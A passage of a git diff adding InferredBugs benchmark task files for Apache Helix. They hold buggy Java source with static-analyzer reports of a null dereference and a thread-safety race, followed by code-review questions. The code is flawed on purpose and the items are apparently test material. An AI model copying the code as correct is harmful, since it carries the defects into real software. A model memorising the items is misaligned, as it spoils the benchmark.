+        if (!workflowCfg.getTargetState().equals(TargetState.START)) {
+          LOG.debug("Skip scheduling since the workflow has not been started " + workflow);
+          return false;
+        }
+
+        // Skip scheduling this workflow again if the previous run (if any) is still active
+        String lastScheduled = workflowCtx.getLastScheduledSingleWorkflow();
+        if (lastScheduled != null) {
+          WorkflowContext lastWorkflowCtx = TaskUtil.getWorkflowContext(_manager, lastScheduled);
+          if (lastWorkflowCtx != null
+              && lastWorkflowCtx.getFinishTime() == WorkflowContext.UNFINISHED) {
+            LOG.info("Skip scheduling since last schedule has not completed yet " + lastScheduled);
+            return false;
+          }
+        }
+
+        // Figure out how many jumps are needed, thus the time to schedule the next workflow
+        // The negative of the delay is the amount of time past the start time
+        long period =
+            scheduleConfig.getRecurrenceUnit().toMillis(scheduleConfig.getRecurrenceInterval());
+        long offsetMultiplier = (-delayFromStart) / period;
+        long timeToSchedule = period * offsetMultiplier + startTime.getTime();
+
+        // Now clone the workflow if this clone has not yet been created
+        DateFormat df = new SimpleDateFormat("yyyyMMdd'T'HHmmss");
+        df.setTimeZone(TimeZone.getTimeZone("UTC"));
+        String newWorkflowName = workflow + "_" + df.format(new Date(timeToSchedule));
+        LOG.debug("Ready to start workflow " + newWorkflowName);
+        if (!newWorkflowName.equals(lastScheduled)) {
+          Workflow clonedWf = TaskUtil
+              .cloneWorkflow(_manager, workflow, newWorkflowName, new Date(timeToSchedule));
+          TaskDriver driver = new TaskDriver(_manager);
+          try {
+            // Start the cloned workflow
+            driver.start(clonedWf);
+          } catch (Exception e) {
+            LOG.error("Failed to schedule cloned workflow " + newWorkflowName, e);
+          }
+          // Persist workflow start regardless of success to avoid retrying and failing
+          workflowCtx.setLastScheduledSingleWorkflow(newWorkflowName);
+          TaskUtil.setWorkflowContext(_manager, workflow, workflowCtx);
+        }
+
+        // Change the time to trigger the pipeline to that of the next run
+        _scheduledRebalancer.scheduleRebalance(_manager, workflow, (timeToSchedule + period));
+      } else {
+        // one time workflow.
+        // Remove any timers that are past-time for this workflowg
+        long scheduledTime = _scheduledRebalancer.getRebalanceTime(workflow);
+        if (scheduledTime > 0 && currentTime > scheduledTime) {
+          _scheduledRebalancer.removeScheduledRebalance(workflow);
+        }
+        return true;
+      }
+    } else {
+      // set the timer to trigger future schedule
+      _scheduledRebalancer.scheduleRebalance(_manager, workflow, startTime.getTime());
+    }
+
+    return false;
+  }
+
+  /**
+   * Cleans up workflow configs and workflow contexts associated with this workflow,
+   * including all job-level configs and context, plus workflow-level information.
+   */
+  private void cleanupWorkflow(String workflow, WorkflowConfig workflowcfg,
+      WorkflowContext workflowCtx) {
+    LOG.info("Cleaning up workflow: " + workflow);
+    HelixDataAccessor accessor = _manager.getHelixDataAccessor();
+
+    /*
+    if (workflowCtx != null && workflowCtx.getFinishTime() == WorkflowContext.UNFINISHED) {
+      LOG.error("Workflow " + workflow + " has not completed, abort the clean up task.");
+      return;
+    }*/
+
+    for (String job : workflowcfg.getJobDag().getAllNodes()) {
+      cleanupJob(job, workflow);
+    }
+
+    // clean up workflow-level info if this was the last in workflow
+    if (workflowcfg.isTerminable() || workflowcfg.getTargetState() == TargetState.DELETE) {
+      // clean up IS & EV
+      TaskUtil.cleanupIdealStateExtView(_manager.getHelixDataAccessor(), workflow);
+
+      // delete workflow config
+      PropertyKey workflowCfgKey = TaskUtil.getWorkflowConfigKey(accessor, workflow);
+      if (accessor.getProperty(workflowCfgKey) != null) {
+        if (!accessor.removeProperty(workflowCfgKey)) {
+          LOG.error(String.format(
+              "Error occurred while trying to clean up workflow %s. Failed to remove node %s from Helix.",
+              workflow, workflowCfgKey));
+        }
+      }
+      // Delete workflow context
+      String workflowPropStoreKey = TaskUtil.getWorkflowContextKey(workflow);
+      LOG.info("Removing workflow context: " + workflowPropStoreKey);
+      if (!_manager.getHelixPropertyStore().remove(workflowPropStoreKey, AccessOption.PERSISTENT)) {
+        LOG.error(String.format(
+            "Error occurred while trying to clean up workflow %s. Failed to remove node %s from Helix. Aborting further clean up steps.",
+            workflow, workflowPropStoreKey));
+      }
+
+      // Remove pending timer task for this workflow if exists
+      _scheduledRebalancer.removeScheduledRebalance(workflow);
+    }
+  }
+
+
+  /**
+   * Cleans up workflow configs and workflow contexts associated with this workflow,
+   * including all job-level configs and context, plus workflow-level information.
+   */
+  private void cleanupJob(final String job, String workflow) {
+    LOG.info("Cleaning up job: " + job + " in workflow: " + workflow);
+    HelixDataAccessor accessor = _manager.getHelixDataAccessor();
+
+    // Remove any idealstate and externalView.
+    TaskUtil.cleanupIdealStateExtView(accessor, job);
+
+    // Remove DAG references in workflow
+    PropertyKey workflowKey = TaskUtil.getWorkflowConfigKey(accessor, workflow);
+    DataUpdater<ZNRecord> dagRemover = new DataUpdater<ZNRecord>() {
+      @Override
+      public ZNRecord update(ZNRecord currentData) {
+        if (currentData != null) {
+          JobDag jobDag = JobDag.fromJson(currentData.getSimpleField(WorkflowConfig.DAG));
+          for (String child : jobDag.getDirectChildren(job)) {
+            jobDag.getChildrenToParents().get(child).remove(job);
+          }
+          for (String parent : jobDag.getDirectParents(job)) {
+            jobDag.getParentsToChildren().get(parent).remove(job);
+          }
+          jobDag.getChildrenToParents().remove(job);
+          jobDag.getParentsToChildren().remove(job);
+          jobDag.getAllNodes().remove(job);
+          try {
+            currentData.setSimpleField(WorkflowConfig.DAG, jobDag.toJson());
+          } catch (Exception e) {
+            LOG.error("Could not update DAG for job: " + job, e);
+          }
+        } else {
+          LOG.error("Could not update DAG for job: " + job + " ZNRecord is null.");
+        }
+        return currentData;
+      }
+    };
+    accessor.getBaseDataAccessor().update(workflowKey.getPath(), dagRemover,
+        AccessOption.PERSISTENT);
+
+    // Delete job configs.
+    PropertyKey cfgKey = TaskUtil.getWorkflowConfigKey(accessor, job);
+    if (accessor.getProperty(cfgKey) != null) {
+      if (!accessor.removeProperty(cfgKey)) {
+        LOG.error(String.format(
+            "Error occurred while trying to clean up job %s. Failed to remove node %s from Helix.",
+            job, cfgKey));
+      }
+    }
+
+    // Delete job context
+    // For recurring workflow, it's OK if the node doesn't exist.
+    String propStoreKey = TaskUtil.getWorkflowContextKey(job);
+    if (!_manager.getHelixPropertyStore().remove(propStoreKey, AccessOption.PERSISTENT)) {
+      LOG.warn(String.format(
+          "Error occurred while trying to clean up job %s. Failed to remove node %s from Helix.",
+          job, propStoreKey));
+    }
+
+    LOG.info(String.format("Successfully cleaned up job context %s.", job));
+
+    _scheduledRebalancer.removeScheduledRebalance(job);
+  }
+
+  @Override
+  public IdealState computeNewIdealState(String resourceName, IdealState currentIdealState,
+      CurrentStateOutput currentStateOutput, ClusterDataCache clusterData) {
+    // Nothing to do here with workflow resource.
+    return currentIdealState;
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `admin.getResourceIdealState(TaskRebalancer._manager.getClusterName(),jobConfig.getTargetResource())` could be null and is dereferenced at line 168.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void WorkflowRebalancer.scheduleSingleJob(String,JobConfig)
+
+### Procedure Id:
+org.apache.helix.task.WorkflowRebalancer.scheduleSingleJob(java.lang.String,org.apache.helix.task.Jo.a9c9d069f7c6046b827b01fb147e6d9e
+
+### File:
+helix-core/src/main/java/org/apache/helix/task/WorkflowRebalancer.java
+
+### Key:
+WorkflowRebalancer.java|scheduleSingleJob|NULL_DEREFERENCE
+
+### Node Key:
+50cb5ef8465ad6b6a77b806e5d8dd53e
+
+### Hash:
+6f1669f78223e1a8b897ab78c2995f5a
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9629/instruction.md b/inferredbugs-9629/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d7e248ba9f2068111abbaa7596af296df0a27fe0
--- /dev/null
+++ b/inferredbugs-9629/instruction.md
@@ -0,0 +1,545 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helix
+**Bug ID:** 83
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.helix.messaging.handling;
+
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
+import java.util.TreeMap;
+import java.util.concurrent.ConcurrentHashMap;
+
+import org.apache.helix.HelixAdmin;
+import org.apache.helix.HelixDataAccessor;
+import org.apache.helix.HelixDefinedState;
+import org.apache.helix.HelixException;
+import org.apache.helix.HelixManager;
+import org.apache.helix.HelixRollbackException;
+import org.apache.helix.NotificationContext;
+import org.apache.helix.NotificationContext.MapKey;
+import org.apache.helix.PropertyKey;
+import org.apache.helix.PropertyKey.Builder;
+import org.apache.helix.zookeeper.datamodel.ZNRecord;
+import org.apache.helix.zookeeper.datamodel.ZNRecordBucketizer;
+import org.apache.helix.zookeeper.datamodel.ZNRecordDelta;
+import org.apache.helix.zookeeper.datamodel.ZNRecordDelta.MergeOperation;
+import org.apache.helix.model.CurrentState;
+import org.apache.helix.model.Message;
+import org.apache.helix.model.Message.Attributes;
+import org.apache.helix.participant.statemachine.StateModel;
+import org.apache.helix.participant.statemachine.StateModelFactory;
+import org.apache.helix.participant.statemachine.StateModelParser;
+import org.apache.helix.participant.statemachine.StateTransitionError;
+import org.apache.helix.util.StatusUpdateUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+public class HelixStateTransitionHandler extends MessageHandler {
+  public static class HelixStateMismatchException extends Exception {
+    public HelixStateMismatchException(String info) {
+      super(info);
+    }
+  }
+
+  /**
+   * If current state == toState in message, this is considered as Duplicated state transition
+   */
+  public static class HelixDuplicatedStateTransitionException extends Exception {
+    public HelixDuplicatedStateTransitionException(String info) {
+      super(info);
+    }
+  }
+
+  private static final Logger logger = LoggerFactory.getLogger(HelixStateTransitionHandler.class);
+  private final StateModel _stateModel;
+  StatusUpdateUtil _statusUpdateUtil;
+  private final StateModelParser _transitionMethodFinder;
+  private final CurrentState _currentStateDelta;
+  private final HelixManager _manager;
+  private final StateModelFactory<? extends StateModel> _stateModelFactory;
+  volatile boolean _isTimeout = false;
+
+  public HelixStateTransitionHandler(StateModelFactory<? extends StateModel> stateModelFactory,
+      StateModel stateModel, Message message, NotificationContext context,
+      CurrentState currentStateDelta) {
+    super(message, context);
+    _stateModel = stateModel;
+    _statusUpdateUtil = new StatusUpdateUtil();
+    _transitionMethodFinder = new StateModelParser();
+    _currentStateDelta = currentStateDelta;
+    _manager = _notificationContext.getManager();
+    _stateModelFactory = stateModelFactory;
+  }
+
+  void preHandleMessage() throws Exception {
+    if (!_message.isValid()) {
+      String errorMessage = "Invalid Message, ensure that message: " + _message
+          + " has all the required fields: " + Arrays.toString(Message.Attributes.values());
+
+      _statusUpdateUtil.logError(_message, HelixStateTransitionHandler.class, errorMessage,
+          _manager);
+      logger.error(errorMessage);
+      throw new HelixException(errorMessage);
+    }
+
+    logger.info("handling message: " + _message.getMsgId() + " transit "
+        + _message.getResourceName() + "." + _message.getPartitionName() + "|"
+        + _message.getPartitionNames() + " from:" + _message.getFromState() + " to:"
+        + _message.getToState() + ", relayedFrom: " + _message.getRelaySrcHost());
+
+    HelixDataAccessor accessor = _manager.getHelixDataAccessor();
+
+    String partitionName = _message.getPartitionName();
+    String fromState = _message.getFromState();
+    String toState = _message.getToState();
+
+    // Verify the fromState and current state of the stateModel
+    // getting current state from state model will provide most up-to-date
+    // current state. In case current state is null, partition is in initial
+    // state and we are setting it in current state
+    String state = _stateModel.getCurrentState() != null ? _stateModel.getCurrentState()
+        : _currentStateDelta.getState(partitionName);
+
+    // Set start time right before invoke client logic
+    _currentStateDelta.setStartTime(_message.getPartitionName(), System.currentTimeMillis());
+
+    Exception err = null;
+    if (toState.equalsIgnoreCase(state)) {
+      // To state equals current state, we can just ignore the message
+      err = new HelixDuplicatedStateTransitionException(
+          String.format("Partition %s current state is same as toState (%s->%s) from message.",
+              partitionName, fromState, toState));
+    } else if (fromState != null && !fromState.equals("*") && !fromState.equalsIgnoreCase(state)) {
+      // If current state is neither toState nor fromState in message, there is a problem
+      err = new HelixStateMismatchException(String.format(
+          "Current state of stateModel does not match the fromState in Message, CurrentState: %s, Message: %s->%s, Partition: %s, from: %s, to: %s",
+          state, fromState, toState, partitionName, _message.getMsgSrc(), _message.getTgtName()));
+    }
+
+    if (err != null) {
+      _statusUpdateUtil.logError(_message, HelixStateTransitionHandler.class, err.getMessage(),
+          _manager);
+      logger.error(err.getMessage());
+      throw err;
+    }
+
+    // Reset the REQUESTED_STATE property if it exists.
+    try {
+      String instance = _manager.getInstanceName();
+      String sessionId = _message.getTgtSessionId();
+      String resource = _message.getResourceName();
+      ZNRecordBucketizer bucketizer = new ZNRecordBucketizer(_message.getBucketSize());
+      PropertyKey key = accessor.keyBuilder().currentState(instance, sessionId, resource,
+          bucketizer.getBucketName(partitionName));
+      ZNRecord rec = new ZNRecord(resource);
+      Map<String, String> map = new TreeMap<String, String>();
+      map.put(CurrentState.CurrentStateProperty.REQUESTED_STATE.name(), null);
+      rec.getMapFields().put(partitionName, map);
+      ZNRecordDelta delta = new ZNRecordDelta(rec, ZNRecordDelta.MergeOperation.SUBTRACT);
+      List<ZNRecordDelta> deltaList = new ArrayList<ZNRecordDelta>();
+      deltaList.add(delta);
+      CurrentState currStateUpdate = new CurrentState(resource);
+      currStateUpdate.setDeltaList(deltaList);
+
+      // Update the ZK current state of the node
+      if (!accessor.updateProperty(key, currStateUpdate)) {
+        logger.error("Fails to persist current state back to ZK for resource " + resource
+            + " partition: " + partitionName);
+      }
+    } catch (Exception e) {
+      logger.error("Error when removing " + CurrentState.CurrentStateProperty.REQUESTED_STATE.name()
+          + " from current state.", e);
+      StateTransitionError error =
+          new StateTransitionError(ErrorType.FRAMEWORK, ErrorCode.ERROR, e);
+      _stateModel.rollbackOnError(_message, _notificationContext, error);
+      _statusUpdateUtil.logError(
+          _message, HelixStateTransitionHandler.class, e, "Error when removing "
+              + CurrentState.CurrentStateProperty.REQUESTED_STATE.name() + " from current state.",
+          _manager);
+    }
+  }
+
+  void postHandleMessage() {
+    HelixTaskResult taskResult =
+        (HelixTaskResult) _notificationContext.get(MapKey.HELIX_TASK_RESULT.toString());
+    Exception exception = taskResult.getException();
+
+    String partitionKey = _message.getPartitionName();
+    String resource = _message.getResourceName();
+    String sessionId = _message.getTgtSessionId();
+    String instanceName = _manager.getInstanceName();
+
+    HelixDataAccessor accessor = _manager.getHelixDataAccessor();
+    Builder keyBuilder = accessor.keyBuilder();
+
+    int bucketSize = _message.getBucketSize();
+    ZNRecordBucketizer bucketizer = new ZNRecordBucketizer(bucketSize);
+
+    // No need to sync on manager, we are cancel executor in expiry session before start executor in
+    // new session
+    // sessionId might change when we update the state model state.
+    // for zk current state it is OK as we have the per-session current state node
+    if (!_message.getTgtSessionId().equals(_manager.getSessionId())) {
+      logger.warn("Session id has changed. Skip postExecutionMessage. Old session "
+          + _message.getExecutionSessionId() + " , new session : " + _manager.getSessionId());
+      return;
+    }
+
+    // Set the INFO property and mark the end time, previous state of the state transition
+    _currentStateDelta.setInfo(partitionKey, taskResult.getInfo());
+    _currentStateDelta.setEndTime(partitionKey, taskResult.getCompleteTime());
+    _currentStateDelta.setPreviousState(partitionKey, _message.getFromState());
+
+    // add host name this state transition is triggered by.
+    if (Message.MessageType.RELAYED_MESSAGE.name().equals(_message.getMsgSubType())) {
+      _currentStateDelta.setTriggerHost(partitionKey, _message.getRelaySrcHost());
+    } else {
+      _currentStateDelta.setTriggerHost(partitionKey, _message.getMsgSrc());
+    }
+
+    if (taskResult.isSuccess()) {
+      // String fromState = message.getFromState();
+      String toState = _message.getToState();
+      _currentStateDelta.setState(partitionKey, toState);
+
+      if (toState.equalsIgnoreCase(HelixDefinedState.DROPPED.toString())) {
+        // for "OnOfflineToDROPPED" message, we need to remove the resource key record
+        // from the current state of the instance because the resource key is dropped.
+        // In the state model it will be stayed as "OFFLINE", which is OK.
+        ZNRecord rec = new ZNRecord(_currentStateDelta.getId());
+        rec.getMapFields().put(partitionKey, null);
+        ZNRecordDelta delta = new ZNRecordDelta(rec, MergeOperation.SUBTRACT);
+
+        List<ZNRecordDelta> deltaList = new ArrayList<ZNRecordDelta>();
+        deltaList.add(delta);
+        _currentStateDelta.setDeltaList(deltaList);
+        _stateModelFactory.removeStateModel(resource, partitionKey);
+      } else {
+        // if the partition is not to be dropped, update _stateModel to the TO_STATE
+        _stateModel.updateState(toState);
+      }
+    } else if (taskResult.isCancelled()) {
+      // Cancelled message does not need current state update
+      return;
+    } else {
+      if (exception instanceof HelixStateMismatchException) {
+        // if fromState mismatch, set current state on zk to stateModel's current state
+        logger.warn("Force CurrentState on Zk to be stateModel's CurrentState. partitionKey: "
+            + partitionKey + ", currentState: " + _stateModel.getCurrentState() + ", message: "
+            + _message);
+        _currentStateDelta.setState(partitionKey, _stateModel.getCurrentState());
+      } else {
+        StateTransitionError error =
+            new StateTransitionError(ErrorType.INTERNAL, ErrorCode.ERROR, exception);
+        if (exception instanceof InterruptedException) {
+          if (_isTimeout) {
+            error = new StateTransitionError(ErrorType.INTERNAL, ErrorCode.TIMEOUT, exception);
+          } else {
+            // State transition interrupted but not caused by timeout. Keep the current
+            // state in this case
+            logger.error(
+                "State transition interrupted but not timeout. Not updating state. Partition : "
+                    + _message.getPartitionName() + " MsgId : " + _message.getMsgId());
+            return;
+          }
+        }
+        _stateModel.rollbackOnError(_message, _notificationContext, error);
+        _currentStateDelta.setState(partitionKey, HelixDefinedState.ERROR.toString());
+        _stateModel.updateState(HelixDefinedState.ERROR.toString());
+
+        // if we have errors transit from ERROR state, disable the partition
+        if (_message.getFromState().equalsIgnoreCase(HelixDefinedState.ERROR.toString())) {
+          disablePartition();
+        }
+      }
+    }
+
+    try {
+      // Update the ZK current state of the node
+      PropertyKey key = keyBuilder.currentState(instanceName, sessionId, resource,
+          bucketizer.getBucketName(partitionKey));
+      if (_message.getAttribute(Attributes.PARENT_MSG_ID) == null) {
+        // normal message
+        if (!accessor.updateProperty(key, _currentStateDelta)) {
+          throw new HelixException("Fails to persist current state back to ZK for resource "
+              + resource + " partition: " + _message.getPartitionName());
+        }
+      } else {
+        // sub-message of a batch message
+        ConcurrentHashMap<String, CurrentStateUpdate> csUpdateMap =
+            (ConcurrentHashMap<String, CurrentStateUpdate>) _notificationContext
+                .get(MapKey.CURRENT_STATE_UPDATE.toString());
+        csUpdateMap.put(partitionKey, new CurrentStateUpdate(key, _currentStateDelta));
+      }
+    } catch (Exception e) {
+      logger.error("Error when updating current-state ", e);
+      StateTransitionError error =
+          new StateTransitionError(ErrorType.FRAMEWORK, ErrorCode.ERROR, e);
+      _stateModel.rollbackOnError(_message, _notificationContext, error);
+      _statusUpdateUtil.logError(_message, HelixStateTransitionHandler.class, e,
+          "Error when update current-state ", _manager);
+    }
+  }
+
+  void disablePartition() {
+    String instanceName = _manager.getInstanceName();
+    String resourceName = _message.getResourceName();
+    String partitionName = _message.getPartitionName();
+    String clusterName = _manager.getClusterName();
+    HelixAdmin admin = _manager.getClusterManagmentTool();
+    admin.enablePartition(false, clusterName, instanceName, resourceName,
+        Arrays.asList(partitionName));
+    logger.info("error in transit from ERROR to " + _message.getToState() + " for partition: "
+        + partitionName + ". disable it on " + instanceName);
+
+  }
+
+  @Override
+  public HelixTaskResult handleMessage() {
+    NotificationContext context = _notificationContext;
+    Message message = _message;
+
+    synchronized (_stateModel) {
+      HelixTaskResult taskResult = new HelixTaskResult();
+      HelixManager manager = context.getManager();
+
+      _statusUpdateUtil.logInfo(message, HelixStateTransitionHandler.class,
+          "Message handling task begin execute", manager);
+      message.setExecuteStartTimeStamp(System.currentTimeMillis());
+
+      try {
+        preHandleMessage();
+        invoke(manager, context, taskResult, message);
+      } catch (HelixDuplicatedStateTransitionException e) {
+        // Duplicated state transition problem is fine
+        taskResult.setSuccess(true);
+        taskResult.setMessage(e.toString());
+        taskResult.setInfo(e.getMessage());
+      } catch (HelixStateMismatchException e) {
+        // Simply log error and return from here if State mismatch.
+        // The current state of the state model is intact.
+        taskResult.setSuccess(false);
+        taskResult.setMessage(e.toString());
+        taskResult.setException(e);
+      } catch (Exception e) {
+        String errorMessage =
+            "Exception while executing a state transition task " + message.getPartitionName();
+        logger.error(errorMessage, e);
+        if (e.getCause() != null && e.getCause() instanceof InterruptedException) {
+          e = (InterruptedException) e.getCause();
+        }
+
+        if (e instanceof HelixRollbackException
+            || (e.getCause() != null && e.getCause() instanceof HelixRollbackException)) {
+          // TODO : Support cancel to any state
+          logger.info("Rollback happened of state transition on resource \""
+              + _message.getResourceName() + "\" partition \"" + _message.getPartitionName()
+              + "\" from \"" + _message.getFromState() + "\" to \"" + _message.getToState() + "\"");
+          taskResult.setCancelled(true);
+        } else {
+          _statusUpdateUtil.logError(message, HelixStateTransitionHandler.class, e, errorMessage,
+              manager);
+          taskResult.setSuccess(false);
+          taskResult.setMessage(e.toString());
+          taskResult.setException(e);
+          taskResult.setInterrupted(e instanceof InterruptedException);
+        }
+      }
+
+      taskResult.setCompleteTime(System.currentTimeMillis());
+      // add task result to context for postHandling
+      context.add(MapKey.HELIX_TASK_RESULT.toString(), taskResult);
+      postHandleMessage();
+
+      return taskResult;
+    }
+  }
+
+  private void invoke(HelixManager manager, NotificationContext context, HelixTaskResult taskResult,
+      Message message) throws IllegalAccessException, InvocationTargetException,
+      InterruptedException, HelixRollbackException {
+    _statusUpdateUtil.logInfo(message, HelixStateTransitionHandler.class,
+        "Message handling invoking", manager);
+
+    // by default, we invoke state transition function in state model
+    Method methodToInvoke = null;
+    String fromState = message.getFromState();
+    String toState = message.getToState();
+    methodToInvoke = _transitionMethodFinder.getMethodForTransition(_stateModel.getClass(),
+        fromState, toState, new Class[] {
+            Message.class, NotificationContext.class
+        });
+    if (methodToInvoke != null) {
+      logger.info(String.format(
+          "Instance %s, partition %s received state transition from %s to %s on session %s, message id: %s",
+          message.getTgtName(), message.getPartitionName(), message.getFromState(),
+          message.getToState(), message.getTgtSessionId(), message.getMsgId()));
+
+      if (_cancelled) {
+        throw new HelixRollbackException(String.format(
+            "Instance %s, partition %s state transition from %s to %s on session %s has been cancelled, message id: %s",
+            message.getTgtName(), message.getPartitionName(), message.getFromState(),
+            message.getToState(), message.getTgtSessionId(), message.getMsgId()));
+      }
+
+      Object result = methodToInvoke.invoke(_stateModel, new Object[] {
+          message, context
+      });
+      taskResult.setSuccess(true);
+      String resultStr;
+      if (result == null || result instanceof Void) {
+        resultStr = "";
+      } else {
+        resultStr = result.toString();
+      }
+      taskResult.setInfo(resultStr);
+    } else {
+      String errorMessage = "Unable to find method for transition from " + fromState + " to "
+          + toState + " in " + _stateModel.getClass();
+      logger.error(errorMessage);
+      taskResult.setSuccess(false);
+      taskResult.setInfo(errorMessage);
+      _statusUpdateUtil.logError(message, HelixStateTransitionHandler.class, errorMessage, manager);
+    }
+  }
+
+  @Override
+  public void onError(Exception e, ErrorCode code, ErrorType type) {
+    HelixDataAccessor accessor = _manager.getHelixDataAccessor();
+    Builder keyBuilder = accessor.keyBuilder();
+    String instanceName = _manager.getInstanceName();
+    String resourceName = _message.getResourceName();
+    String partition = _message.getPartitionName();
+
+    // All internal error has been processed already, so we can skip them
+    if (type == ErrorType.INTERNAL) {
+      logger.error("Skip internal error. errCode: " + code + ", errMsg: " + e.getMessage());
+      return;
+    }
+
+    try {
+      // set current state to ERROR for the partition
+      // if the transition is not canceled, it should go into error state
+      if (code == ErrorCode.ERROR) {
+        CurrentState currentStateDelta = new CurrentState(resourceName);
+        currentStateDelta.setState(partition, HelixDefinedState.ERROR.toString());
+        _stateModel.updateState(HelixDefinedState.ERROR.toString());
+
+        // if transit from ERROR state, disable the partition
+        if (_message.getFromState().equalsIgnoreCase(HelixDefinedState.ERROR.toString())) {
+          disablePartition();
+        }
+
+        if (!accessor.updateProperty(
+            keyBuilder.currentState(instanceName, _message.getTgtSessionId(), resourceName),
+            currentStateDelta)) {
+          logger.error("Fails to persist ERROR current state to ZK for resource " + resourceName
+              + " partition: " + partition);
+        }
+      }
+    } finally {
+      StateTransitionError error = new StateTransitionError(type, code, e);
+      _stateModel.rollbackOnError(_message, _notificationContext, error);
+    }
+
+  }
+
+  @Override
+  public void onTimeout() {
+    _isTimeout = true;
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.apache.helix.messaging.handling.HelixStateTransitionHandler.preHandleMessage` indirectly reads without synchronization from `this.org.apache.helix.messaging.handling.HelixStateTransitionHandler._stateModel.org.apache.helix.participant.statemachine.StateModel._currentState`. Potentially races with write in method `HelixStateTransitionHandler.handleMessage()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void HelixStateTransitionHandler.preHandleMessage()
+
+### Procedure Id:
+org.apache.helix.messaging.handling.HelixStateTransitionHandler.preHandleMessage():void.422a93b1c324481e3c94a0ca0a98f58f
+
+### File:
+helix-core/src/main/java/org/apache/helix/messaging/handling/HelixStateTransitionHandler.java
+
+### Key:
+HelixStateTransitionHandler.java|preHandleMessage|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+0f268efbb67a44434ebe35d7a24fd0be
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9642/instruction.md b/inferredbugs-9642/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..68f652fbce12a5cf036f001e81b51004732411c7
--- /dev/null
+++ b/inferredbugs-9642/instruction.md
@@ -0,0 +1,905 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helix
+**Bug ID:** 76
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.helix.manager.zk;
+
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+import java.util.Map;
+import java.util.TreeMap;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.ReentrantLock;
+
+import org.I0Itec.zkclient.DataUpdater;
+import org.I0Itec.zkclient.IZkChildListener;
+import org.I0Itec.zkclient.IZkDataListener;
+import org.I0Itec.zkclient.exception.ZkNoNodeException;
+import org.I0Itec.zkclient.serialize.ZkSerializer;
+import org.apache.helix.AccessOption;
+import org.apache.helix.HelixException;
+import org.apache.helix.manager.zk.ZkAsyncCallbacks.CreateCallbackHandler;
+import org.apache.helix.manager.zk.ZkBaseDataAccessor.RetCode;
+import org.apache.helix.manager.zk.client.HelixZkClient;
+import org.apache.helix.manager.zk.client.SharedZkClientFactory;
+import org.apache.helix.store.HelixPropertyListener;
+import org.apache.helix.store.HelixPropertyStore;
+import org.apache.helix.store.zk.ZNode;
+import org.apache.helix.util.PathUtils;
+import org.apache.zookeeper.KeeperException.Code;
+import org.apache.zookeeper.data.Stat;
+import org.apache.zookeeper.server.DataTree;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
